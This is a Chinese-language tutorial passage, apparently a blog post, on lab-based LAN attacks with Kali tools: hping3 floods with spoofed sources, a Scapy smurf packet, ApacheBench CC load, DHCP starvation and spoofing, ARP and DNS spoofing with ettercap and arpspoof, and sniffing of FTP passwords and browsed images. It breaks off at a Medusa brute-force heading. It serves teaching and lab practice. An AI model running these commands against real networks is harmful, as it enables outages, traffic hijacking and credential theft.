Kali工具使用及内网攻击

内容 隐藏

拒绝服务

DoS

DoS(Denial of Service):拒绝服务

​ 是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,使某些服务被暂停甚至主机死机,都属于拒绝服务攻击。拒绝服务攻击问题也一直得不到合理的解决,究其原因是因为网络协议本身的安全缺陷,从而拒绝服务攻击也成为了攻击者的终极手法。

​ 攻击者进行拒绝服务攻击,实际上让服务器实现两种效果:

  • 迫使服务器的缓冲区满,不接收新的请求
  • 使用IP欺骗,迫使服务器把非法用户的连接复位,影响合法用户的连接
注意:DoS是拒绝服务,DOS是一种磁盘操作系统(Disk Operating System)。咱们是专业人员,要严谨。

DDoS

DDoS(Distributed Denial of Service):分布式拒绝服务

​ 借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。

DDoS攻击通过大量合法的请求占用大量网络资源,以达到瘫痪网络的目的。可分为以下几种:

  • 通过使网络过载来干扰甚至阻断正常的网络通讯。
  • 通过向服务器提交大量请求,使服务器超负荷。
  • 阻断某一用户访问服务器。
  • 阻断某服务与特定系统或个人的通讯。

区别

DoS是一对一的攻击

DDoS是多对一,或者是多对多的攻击

危害

以前:欠缺技术能力,直接ping死(最难缠)

现在:最强大最危险的攻击,攻击方式众多(变相勒索)

​ 要么乖乖交保护费,要么花钱购买设备做抗D,都是需要大量的投入

​ 现如今“肉机”成为了交易品

分类

通过网络

基于巨量的Flood,耗尽目标网路带宽资源

ICMP Flood、UDP Flood

通过协议

攻击协议漏洞发起的拒绝服务攻击

如Syn Flood、Ping of Death、ARP、DNS、SSL、802.1x

通过应用

针对应用软件和操作系统漏洞发起的拒绝服务攻击

大量频繁访问消耗系统资源严重的应用(CC)

通常表现为操作系统运行正常,网络流量不大,但服务停止响应

可以是一击毙命的,也可能是耗尽目标资源的

hping工具

简介

hping 是 面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是 hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

功能

虽然 hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,hping具有以下功能:

- 防火墙测试
- 高级端口扫描
- 网络测试,使用不同的协议,TOS,分片
- 手动路径MTU发现
- 在所有支持的协议下,高级traceroute
- 远程操作系统指纹
- 远程正常运行时间猜测
- TCP/IP协议栈审计
- hping也可以用于学习TCP/IP的学生

用法

用法: hping3 host [options]
  -h  --help      显示帮助
  -v  --version   显示版本
  -c  --count     发送数据包的数目
  -i  --interval  发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
      --fast      等同 -i u10000 (每秒10个包)
      --faster    等同 -i u1000 (每秒100个包)
      --flood     尽最快发送数据包,不显示回复。
  -n  --numeric   数字化输出,象征性输出主机地址。
  -q  --quiet     安静模式
  -I  --interface 网卡接口 (默认路由接口)
  -V  --verbose   详细模式
  -D  --debug     调试信息
  -z  --bind      绑定ctrl+z到ttl(默认为目的端口)
  -Z  --unbind    取消绑定ctrl+z键
      --beep      对于接收到的每个匹配数据包蜂鸣声提示

模式选择
  default mode     TCP          // 默认模式是 TCP
  -0  --rawip      RAWIP模式,原始IP模式。在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
  -1  --icmp       ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
  -2  --udp        UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
  -8  --scan       SCAN mode. //扫描模式 指定扫描对应的端口。
                   Example: hping --scan 1-30,70-90 -S www.target.host    // 扫描
  -9  --listen     listen mode  // 监听模式

IP 模式
  -a  --spoof      spoof source address  //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
  --rand-dest      random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
  --rand-source    random source address mode. see the man.       // 随机源地址模式。详细使用 man 命令
  -t  --ttl        ttl (默认 64)  //修改 ttl 值
  -N  --id         id (默认 随机)  // hping 中的 ID 值,缺省为随机值
  -W  --winid      使用win* id字节顺序  //使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
  -r  --rel        相对id字段(估计主机流量)  //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
  -f  --frag       拆分数据包更多的frag.  (may pass weak acl)   //分段,可以测试对方或者交换机碎片处理能力,缺省16字节。
  -x  --morefrag   设置更多的分段标志    // 大量碎片,泪滴攻击。
  -y  --dontfrag   设置不分段标志    // 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
  -g  --fragoff    set the fragment offset    // 设置断偏移。
  -m  --mtu        设置虚拟最大传输单元, implies --frag if packet size > mtu    // 设置虚拟MTU值,当大于mtu的时候分段。
  -o  --tos        type of service (default 0x00), try --tos help          // tos字段,缺省0x00,尽力而为?
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer    // 记录IP路由,并显示路由缓冲。
  --lsrr           松散源路由并记录路由        // 松散源路由
  --ssrr           严格源路由并记录路由      // 严格源路由
  -H  --ipproto    设置IP协议字段,仅在RAW IP模式下使用   //在RAW IP模式里选择IP协议。设置ip协议域,仅在RAW ip模式使用。

ICMP 模式
  -C  --icmptype   icmp类型(默认echo请求)    // ICMP类型,缺省回显请求。
  -K  --icmpcode   icmp代号(默认0)     // ICMP代码。
      --force-icmp 发送所有icmp类型(默认仅发送支持的类型)    // 强制ICMP类型。
      --icmp-gw    设置ICMP重定向网关地址(默认0.0.0.0)    // ICMP重定向
      --icmp-ts    等同 --icmp --icmptype 13 (ICMP 时间戳)            // icmp时间戳
      --icmp-addr  等同 --icmp --icmptype 17 (ICMP 地址子网掩码)  // icmp子网地址
      --icmp-help  显示其他icmp选项帮助      // ICMP帮助

UDP/TCP 模式
  -s  --baseport   base source port             (default random)              // 缺省随机源端口
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec    // 缺省随机目的端口
  -k  --keep       keep still source port      // 保持源端口
  -w  --win        winsize (default 64)        // win的滑动窗口。windows发送字节(默认64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)    // 设置伪造tcp数据偏移量(取代tcp地址长度除4)
  -Q  --seqnum     shows only tcp sequence number        // 仅显示tcp序列号
  -b  --badcksum   (尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
  -M  --setseq     设置TCP序列号 
  -L  --setack     设置TCP的ack   ------------------------------------- (不是 TCP 的 ACK 标志位)
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag   ------------------------------------- (设置 TCP 的 ACK 标志 位)
  -U  --urg        set URG flag      // 一大堆IP抱头的设置。
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    使用last tcp-> th_flags作为退出码
  --tcp-mss        启用具有给定值的TCP MSS选项
  --tcp-timestamp  启用TCP时间戳选项来猜测HZ/uptime

Common //通用设置
  -d  --data       data size    (default is 0)    // 发送数据包大小,缺省是0。
  -E  --file       文件数据
  -e  --sign       添加“签名”
  -j  --dump       转储为十六进制数据包
  -J  --print      转储为可打印字符
  -B  --safe       启用“安全”协议
  -u  --end        告诉你什么时候--file达到EOF并防止倒回
  -T  --traceroute traceroute模式(等同使用 --bind 且--ttl 1)
  --tr-stop        在traceroute模式下收到第一个不是ICMP时退出
  --tr-keep-ttl    保持源TTL固定,仅用于监视一跳
  --tr-no-rtt      不要在跟踪路由模式下计算/显示RTT信息 ARS包描述(新增功能,不稳定)
ARS packet description (new, unstable)
  --apd-send       发送APD描述数据包(参见docs / APD.txt)

ICMP Flood攻击

介绍

ICMP Flood(即ICMP 洪水攻击):当 ICMP ping 产生的大量回应请求超出了系统的最大限度,以至于系统耗费所有资源来进行响应直至再也无法处理有效的网络信息流,这就是 ICMP 洪水攻击。简单说攻击者向一个子网的广播地址发送多个ICMP Echo请求数据包。并将源地址伪装成想要攻击的目标主机的地址。然后该子网上的所有主机均会对此ICMP Echo请求包作出答复,向被攻击的目标主机发送数据包,使此主机受到攻击,导致网络阻塞。ICMP Flood攻击主要的目的使网络瘫痪,这也是最常见和最常用的网络攻击行为之一。

分类

直接Flood
要做这个的首要条件是你的带宽够,然后就是要一个好用的ICMP Flooder。注意:直接攻击会暴露自己IP,所以需要进行源伪造。

#攻击模拟
hping3 --icmp -d 1400 --rand-source --flood 192.168.239.2

#参数解析:
--icmp:指定类型为icmp
-d:设置报文的大小为1400字节
--rand-source:设置发起攻击的ip地址随机
--flood:表示以洪水的方式发送,就是拼了命地发

1656567883421

抓包分析

1656568041092

短短几秒就抓到了上万个包

反射(局域网内)
Smurf方式是向广播地址发送伪造源地址的ICMP echo Request(ping)包。这些接收报文的设备被报文欺骗,向受害者返回应答,导致垃圾阻塞受害者。这对现在的操作系统几乎无效(不响应目标为广播的ping)

#攻击模拟:
scapy
>>> i=IP()
>>> i.display()
>>> i.src="1.1.1.100"                   #真正的受害者
>>> i.dst="192.168.239.129"
>>> p=ICMP()
>>> p.display()
>>> r=send(i/p)

#上面是分步执行,也可以使用一行发送:
send(IP(dst="192.168.239.129",src="1.1.1.100")/ICMP(),count=100,verbose=1)

16565663399021656566368339

抓包分析

1656566185940

修改目的地址为广播地址,观察一下

1656567010752

1656567018943

TCP-SYN Flood攻击

介绍

SYN Flood是互联网上最原始、最经典的DDoS(Distributed Denial of Service)攻击之一。它利用了TCP协议的三次握手机制,攻击者通常利用工具或者控制僵尸主机向服务器发送海量的变源IP地址或变源端口的TCP SYN报文,服务器响应了这些报文后就会生成大量的半连接,当系统资源被耗尽后,服务器将无法提供正常的服务。

SYN Flood顾名思义就是用洪水一样的SYN报文进行攻击。SYN报文指的是TCP协议中的Synchronize报文,是TCP三次握手过程中的首个报文。让我们先来了解一个正常的TCP三次握手过程。

TCP三次握手过程

TCP三次握手过程

  1. 开始建立连接时,客户端发送SYN报文到服务器,等待服务器确认。SYN报文的源IP地址和端口是客户端的IP地址和端口。
  2. 服务器收到SYN报文,回应一个SYN-ACK(Synchronize-Acknowledgement)报文。SYN-ACK报文的目的P地址和端口是客户端的IP地址和端口。
  3. 客户端收到服务器的SYN-ACK报文,向服务器发送ACK报文,服务器收到ACK报文后完成三次握手,TCP连接建立成功。

在连接超时之前,服务器会一直等待ACK报文,此时该连接状态为半开放连接(也被称为半连接)。半连接会占用服务器的连接数,当连接数被占满时,服务器就无法提供正常的服务了。黑客正是通过这个机制来实现SYN Flood。

SYN Flood的攻击过程

SYN Flood的攻击过程

黑客通常通过伪造的源IP地址或端口,向服务器发送大量的SYN报文,请求建立TCP连接。由于源IP地址或端口是伪造的,服务器发送的SYN-ACK报文永远不会被真实的客户端接收和回应。极少数情况下,黑客也会使用真实源IP地址,但他们只是通过攻击工具发送海量SYN报文,工具并不会响应来自服务器SYN-ACK报文。无论如何,服务器都接收不到ACK报文,产生了大量的半连接。此时服务器需要维持一张巨大的等待列表,不停地重试发送SYN-ACK报文,同时大量的资源无法释放。当服务器被这些恶意的半连接占满时,就不会再响应新的SYN报文,从而导致正常的用户无法建立TCP连接。

攻击模拟

┌──(root?kali)-[~]
└─# hping3 -d 1400 --rand-source -S -p 445 --flood 192.168.239.129 
HPING 192.168.239.129 (eth0 192.168.239.129): S set, 40 headers + 1400 data bytes
hping in flood mode, no replies will be shown

-d:指定报文大小为1400字节
--rand-source:指定源地址为随机
-S:指定为SYN包
-p:指定目的端口号为445
--flood:指定为流攻击

1656923233383

CC攻击

简介

CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,前身名为Fatboy攻击,也是一种常见的网站攻击方法。攻击者经过代理服务器或者肉鸡向向受害主机不停地发大量数据包,形成对方服务器资源耗尽,一直到宕机崩溃。相比其它的DDOS攻击CC彷佛更有技术含量一些。这种攻击你见不到真实源IP,见不到特别大的异常流量,但形成服务器没法进行正常链接。最让站长们忧虑的是这种攻击技术含量低,利用更换IP代理工具和一些IP代理一个初、中级的电脑水平的用户就可以实施攻击。

攻击模拟

#使用ab工具进行模拟
┌──(root?kali)-[~]
└─# ab -n 10000 -c 100 http://192.168.239.129/DVWA/

-n:请求数
-c:并发数

1656936365249

可以观察到,我的并发数为100时,我的cpu就已经满载了

1656937763529

测试了几次日志文件直接四兆多了

默认没有开日志

1656937863600

#将下面两行内容前的井号删除,就会在C:\phpStudy\PHPTutorial\Apache\logs下生成日志文件
CustomLog "logs/access.log" common
CustomLog "logs/access.log" combined

并发连接数100与50的对比

#并发连接数100
┌──(root㉿kali)-[~]
└─# ab -n 10000 -c 100 http://192.168.239.129/DVWA/
This is ApacheBench, Version 2.3 <$Revision: 1879490 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking 192.168.239.129 (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests


Server Software:        Apache/2.4.23
Server Hostname:        192.168.239.129     #请求的URL主机名
Server Port:            80                  #请求端口

Document Path:          /DVWA/              #请求路径
Document Length:        0 bytes             #HTTP响应数据的正文长度

Concurrency Level:      100                 #并发用户数,这是我们设置的参数之一
Time taken for tests:   44.456 seconds      #所有这些请求被处理完成所花费的总时间 单位秒
Complete requests:      10000               #总请求数量,这是我们设置的参数之一
Failed requests:        0                   #表示失败的请求数量
Non-2xx responses:      10000
Total transferred:      5400000 bytes       #所有请求的响应数据长度总和。包括每个HTTP响应数据的头信息和正文数据的长度
HTML transferred:       0 bytes             #所有请求的响应数据中正文数据的总和,也就是减去了Total transferred中HTTP响应数据中的头信息的长度
Requests per second:    224.94 [#/sec] (mean)    #吞吐量,计算公式:Complete requests/Time taken for tests  总请求数/处理完成这些请求数所花费的时间
Time per request:       444.561 [ms] (mean)     #用户平均请求等待时间,计算公式:Time token for tests/(Complete requests/Concurrency Level)。处理完成所有请求数所花费的时间/(总请求数/并发用户数)
Time per request:       4.446 [ms] (mean, across all concurrent requests)    #服务器平均请求等待时间,计算公式:Time taken for tests/Complete requests,正好是吞吐率的倒数。也可以这么统计:Time per request/Concurrency Level
Transfer rate:          118.62 [Kbytes/sec] received    #表示这些请求在单位时间内从服务器获取的数据长度,计算公式:Total trnasferred/ Time taken for tests,这个统计很好的说明服务器的处理能力达到极限时,其出口宽带的需求量。

Connection Times (ms)
              min  mean[+/-sd] median   max     #表中min表示最小值; mean表示平均值;[+/-sd]表示标准差(Standard Deviation) ,也称均方差(mean square error),这个概念在中学的数学课上学过,表示数据的离散程度,数值越大表示数据越分散,系统响应时间越不稳定。 median表示中位数; max当然就是表示最大值了。
Connect:        0    1   1.4      0      38     #网络链接(Connect)
Processing:     7  443 545.9    250    3866     #系统处理(Processing)
Waiting:        3  443 545.9    250    3866     #等待(Waiting)
Total:         10  443 545.9    251    3866     #Total是从整个请求所需要的时间的角度来统计的。这里可以看到最慢的一个请求花费了3866ms,这个数据可以在下面的表中得到验证。

Percentage of the requests served within a certain time (ms)
  50%    251                        #50%的请求在251ms内返回
  66%    265
  75%    284
  80%    302
  90%   1189                        #90%的请求在1189ms内返回
  95%   1333
  98%   2631
  99%   2865
 100%   3866 (longest request)

                                                                                         #并发连接数50
┌──(root㉿kali)-[~]
└─# ab -n 10000 -c 50 http://192.168.239.129/DVWA/
This is ApacheBench, Version 2.3 <$Revision: 1879490 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking 192.168.239.129 (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests


Server Software:        Apache/2.4.23
Server Hostname:        192.168.239.129
Server Port:            80

Document Path:          /DVWA/
Document Length:        0 bytes

Concurrency Level:      50
Time taken for tests:   38.722 seconds
Complete requests:      10000
Failed requests:        0
Non-2xx responses:      10000
Total transferred:      5400000 bytes
HTML transferred:       0 bytes
Requests per second:    258.25 [#/sec] (mean)
Time per request:       193.610 [ms] (mean)
Time per request:       3.872 [ms] (mean, across all concurrent requests)
Transfer rate:          136.19 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    1   1.5      0      19
Processing:     7  193 337.2    118    2668
Waiting:        4  193 337.2    118    2668
Total:          7  193 337.2    119    2670

Percentage of the requests served within a certain time (ms)
  50%    119
  66%    124
  75%    128
  80%    130
  90%    143
  95%    714
  98%   1413
  99%   2085
 100%   2670 (longest request)

总连接数都是10000,但是并发连接数小的时候整体花费的时间和延迟会有所降低

DHCP攻击

简介

DHCP攻击针对的目标是网络中的DHCP服务器,原理是耗尽DHCP服务器所有的IP地址资源,使其无法正常提供地址分配服务。然后在网络中再架设假冒的DHCP服务器为客户端分发IP地址,从而来实现中间人攻击。

DHCP工作过程:

工作过程分为四个阶段:

  • 发现阶段:首先客户端广播发送DHCP Discover报文来寻找DHCP服务器。
  • 提供阶段:DHCP服务器接收到DHCP Discover报文后,查看自己的地址池中是否有可用地址,如果有,会在这个IP上做一个标记,并用DHCP Offer报文回复给客户端(广播)。

  • 请求阶段:客户端在接收到第一个DHCP Offer报文后,会选择此报文中提供的IP地址,并广播发送DHCP Request报文,其他服务器会知道客户端拒绝了自己提供的IP地址。

  • 确认阶段:服务器接收到客户端的DHCP Request报文后,会发送一个DHCP ACK报文,告诉客户端你可以使用那个IP地址了。

DHCP攻击原理:

DHCP没有认证机制,并不知道接收到的报文是否是同一个主机发送的,所以攻击者可以使用以下两种方式

  • 攻击者发送大量的DHCP Discover报文,堵塞DHCP服务器处理速度,以至于瘫痪DHCP服务器。
  • 制造大量的伪造MAC地址来请求地址,导致DHCP服务器中的IP地址耗尽。

模拟DHCP Discover攻击

攻击原理:
攻击者发送大量的DHCP Discover报文,堵塞DHCP服务器处理速度,以至于瘫痪DHCP服务器。
#安装工具
┌──(root㉿kali)-[~]
└─# apt install -y yersinia


#运行工具
┌──(root㉿kali)-[~]
└─# yersinia -G

1656978732306

1656977362684

抓包分析

1656979815411

1656979848673

会发送大量的DHCP Discover报文,同时发起请求的源mac还不一样

使用windows server作为DHCP服务器

DHCP服务器的搭建

1656944211144

16569442232031656944229780165694423580516569442427501656944248419165694425849216569442824311656944292029165694429794916569443180641656944328427

1656944340453

正常用户通过DHCP获取地址

1656992261858

已经无法获取地址了

1656992637498

DHCP服务器上查看,没有地址被租用
关闭工具yersinia

还是无法正常获取地址,重启dhcp服务器后才正常获取到了地址

使用VMnet8作为DHCP服务器

1656979134840

模拟DHCP饿死攻击

攻击原理:
不断发送伪造不同的chaddr地址的dhcp discover消息来获取地址址,导致DHCP服务器中的IP地址耗尽。
#安装工具
┌──(root㉿kali)-[~]
└─# apt install -y dhcpstarv


#使用工具
┌──(root㉿kali)-[~]
└─# dhcpstarv -i eth0

-i:加网卡名

1656997224369

DHCP服务器上查看地址池情况

1656997248792

地址已经被全部占用,其中第一个是真实的设备请求的地址,别的都是通过饿死攻击占据的。

抓包分析

1656997989174

1656997948347

1656997793184

1656997910050

此时直接看MAC你会觉得并没有发生改变,但是查看client MAC address字段会发现客户端的MAC是在发生改变的。

模拟DHCP欺骗攻击

攻击原理:
先使用DHCP饿死攻击,将DHCP服务器的地址耗尽,然后kali自己作为DHCP服务器,给需要的客户端分发地址,网关是自己,之后客户端所有的访问请求都会经过kali,只要在kali上开启抓包除非一些加密的数据别的都可以轻易获取
#为了保证正真的DHCP服务器没有地址可以对外分发所以保证饿死攻击一直持续

#使用工具
┌──(root?kali)-[~]
└─# ettercap  -Tqi eth0 -M dhcp:192.168.239.50-55/255.255.255.0/8.8.8.8                

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
  eth0 -> 00:0C:29:3E:A1:76
      192.168.239.132/255.255.255.0
      fe80::20c:29ff:fe3e:a176/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

  34 plugins
  42 protocol dissectors
  57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

4 hosts added to the hosts list...
DHCP spoofing: using specified ip_pool, netmask 255.255.255.0, dns 8.8.8.8
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help


#参数说明
-T:以命令行方式启动ettercap;
-q:安静模式,ettercap只输出重要信息,比如在中间人欺骗过程中,ettercap发现了用户名/密码相关的数据流,它会把数据流中的用户名密码显示在终端上;如果以非安静模式启动ettercap,那么有大量的ettercap输出信息会涌向终端;
-i:指定接入局域网进行中间人攻击的网卡;
-T -q -i参数经常组合出现,可以简写为-Tqi
-M:指定ettercap进行中间人攻击。其格式为 -M <Method:Args>。
    -M dhcp:192.168.239.50-55/255.255.255.0/8.8.8.8  
       dhcp中间人攻击:地址池范围可以不连续(192.168.0.30,35)/子网掩码/DNS地址

在客户机上清空之前DHCP获取的地址,重新获取地址

kali上

1657000556002

客户机上

1656999092530

获取到了我们指定的地址

在客户端对ftp服务器发起连接

1657001457052

1657001465164

kali上发起dhcp中间人攻击之后一直开启wireshark,当客户端向服务器发起ftp连接时就可以抓到ftp的账号密码

1657001418579

用户名,密码完全明晚传输

ARP欺骗攻击

原理

主机接收到一个应答包之后,并不会验证自己是否发送过对应的arp请求包,也不会验证这个arp请求包是否可信,而是直接用应答包里的IP地址和mac地址的对应关系替换掉arp缓存表里原有的对应关系。

过程

1657003413572

攻击主机B向网关C发送一个应答包,包括主机A的IP地址、主机B的mac地址。同时,向主机A发送一个应答包,包括网关C的IP地址,主机B的mac地址。
这个时候,网关C就会将缓存表里主机A的mac地址换成主机B的mac地址,而主机a就会将缓存表里网关C的mac地址换成主机B的mac地址。
所以,网关C发送给主机A的消息全被主机B接收,主机A发送给网关C的消息也全被主机B接收,主机B就成为主机A和网关C通信的“中间人”。

模拟攻击

安装工具

# arpspoof工具在dsniff中,故kali安装时在root模式下安装dsniff就可
┌──(root?kali)-[~]
└─# apt install -y dsniff

#安装成功后输入arpspoof如果显示版本信息,代表安装成功
┌──(root㉿kali)-[~]
└─# arpspoof                                            
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

确认网段信息

fping类似于ping。fping与ping不同的地方在于,fping可以在命令行中指定要ping的主机数量范围,也可以指定含有要ping的主机列表文件。

#直接查看整个网段,垃圾信息有点多,稍微过滤一下
┌──(root㉿kali)-[~]                      
└─# fping -g 192.168.239.0/24 > 1.txt   
┌──(root?kali)-[~]
└─# cat 1.txt | grep alive
192.168.239.1 is alive
192.168.239.2 is alive
192.168.239.52 is alive
192.168.239.132 is alive
192.168.239.254 is alive

#如果需要查看arp信息的话可以使用如下命令(没有显示自身的信息)
┌──(root?kali)-[~]                  
└─# netdiscover -r 192.168.239.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                         
 6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 406                                       
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.239.1   00:50:56:c0:00:08      2     120  VMware, Inc.                                        
 192.168.239.2   00:50:56:fb:bb:bc      1      60  VMware, Inc.                                        
 192.168.239.52  00:0c:29:f5:3b:d2      1     106  VMware, Inc.                                        
 192.168.239.254 00:0c:29:3a:86:7e      2     120  VMware, Inc.  


 #查看自身的ip信息
┌──(root㉿kali)-[~]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:3e:a1:76 brd ff:ff:ff:ff:ff:ff
    inet 192.168.239.132/24 brd 192.168.239.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe3e:a176/64 scope link 
       valid_lft forever preferred_lft forever

FTP服务器MAC:00:0c:29:3a:86:7e
Kali的MAC:00:0c:29:3e:a1:76
网关的MAC:00:50:56:fb:bb:bc

开始攻击

┌──(root㉿kali)-[~]
└─# arpspoof -i eth0 -t 192.168.239.254 -r 192.168.239.2

-i:自己的网卡信息
-t:目标ip地址
-r:网关地址

1657005859336

在FTP服务器上发起web访问

#开启IP转发
┌──(root㉿kali)-[~]
└─# echo 1 > /proc/sys/net/ipv4/ip_forward

抓包分析

1657006032913

源IP地址:108.101.50.164(公网地址)——>192.168.239.254(FTP服务器地址)
源MAC地址:00:50:56:fb:bb:bc(网关MAC)——>00:0c:29:3e:a1:76(Kali的MAC)

1657006236470

源IP地址:108.101.50.164(公网地址)——>192.168.239.254(FTP服务器地址)
源MAC地址:00:0c:29:3e:a1:76(Kali的MAC)——>00:0c:29:3a:86:7e(FTP服务器MAC)
总结:
本来正常的报文是,直接从网关去往目的地,现在需要在Kali上转发一下才能到达目的地,然后在Kali上可以获取到客户端访问的信息
#也可以使用
 # ettercap -Tqi eth0 -M arp:remote  /网关ip/kail-IP/

获取图片

#安装driftnet进行查看,driftnet可用于获取目标IP游览的图片
┌──(root㉿kali)-[~]
└─# apt install -y driftnet   
#运行查看图片的工具
┌──(root㉿kali)-[~]
└─# driftnet -i eth0

-i:后面填写本地网卡

在FTP服务器上访问http页面

1657008239049

1657008248439

如果需要保存某张图片可以更改临时缓存文件,选择想要图片,保存到其他路径下,否则driftnet 关闭,缓存将被清除。

#创建目录用于保存图片
┌──(root㉿kali)-[~]
└─# mkdir /root/pic                     

#再次运行查看图片的工具通过-d指定路径
┌──(root㉿kali)-[~]
└─# driftnet -i eth0 -d /root/pic

#查看文件夹
┌──(root㉿kali)-[~]
└─# ls /root/pic                
driftnet-62c3f0e5327b23c6.gif   driftnet-62c3f0f1238e1f29.jpeg  driftnet-62c3f0f15bd062c2.jpeg
driftnet-62c3f0e5643c9869.gif   driftnet-62c3f0f12eb141f2.png   driftnet-62c3f0f1625558ec.jpeg
driftnet-62c3f0e566334873.gif   driftnet-62c3f0f13d1b58ba.png   driftnet-62c3f0f17545e146.jpeg
driftnet-62c3f0e56b8b4567.gif   driftnet-62c3f0f141b71efb.png   driftnet-62c3f0f179e2a9e3.png
driftnet-62c3f0f10216231b.jpeg  driftnet-62c3f0f146e87ccd.jpeg  driftnet-62c3f0f2140e0f76.png

#将临时图片复制到别的地方
┌──(root㉿kali)-[~]
└─# cp -r /root/pic  /root/gif   

#关闭工具之后可以正常查看图片

DNS欺骗攻击

原理

首先欺骗者向目标机器发送构造好的ARP应答数据包,进行ARP欺骗,ARP欺骗成功后,嗅探到对方发出的DNS请求数据包,分析数据包取得ID和端口号后,向目标发送自己构造好的一个DNS返回包,对方收到DNS应答包后,发现ID和端口号全部正确,即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中,而后来的当真实的DNS应答包返回时则被丢弃。

模拟攻击

客户端:windows server 2003
攻击机:kali,windows server 2008

通多DNS欺骗,正常客户端想要访问百度,现在通过域名解析跳转到windows server 2008上

在windows server 2008上准备一个测试网页

1657020102279

#修改ettercap的DNS文件进行编辑
┌──(root㉿kali)-[~]
└─# vim /etc/ettercap/etter.dns     #添加以下两行信息
*               A       192.168.239.254
*               PTR     192.168.239.254

#说明:“*”代表所有域名
#进入ettercap的图形化界面
┌──(root㉿kali)-[~]
└─# ettercap -G                                                        

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

1657020286316

进行主机扫描

1657020377089

查看在线主机

1657020424436

开启中间人监听模式,将要监听的两端分别添加到Target1、Target2,然后依次点击mitm — arp posoning ,勾选sniff remote connections。这里将网关添加到Target1,将目标IP添加到Target2。

1657020522570

1657020620479

1657020676939

1657020719052

选择DNS欺骗攻击的插件

1657020792035

1657020820354

1657020867590

开始DNS欺骗

1657020955739

客户端进行web访问(任意网站)

1657020182375

美杜莎(medusa)的使用

简介

Medusa工具是通过并行登陆暴力破解的方法,尝试获取远程验证服务访问权限。

Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。

功能

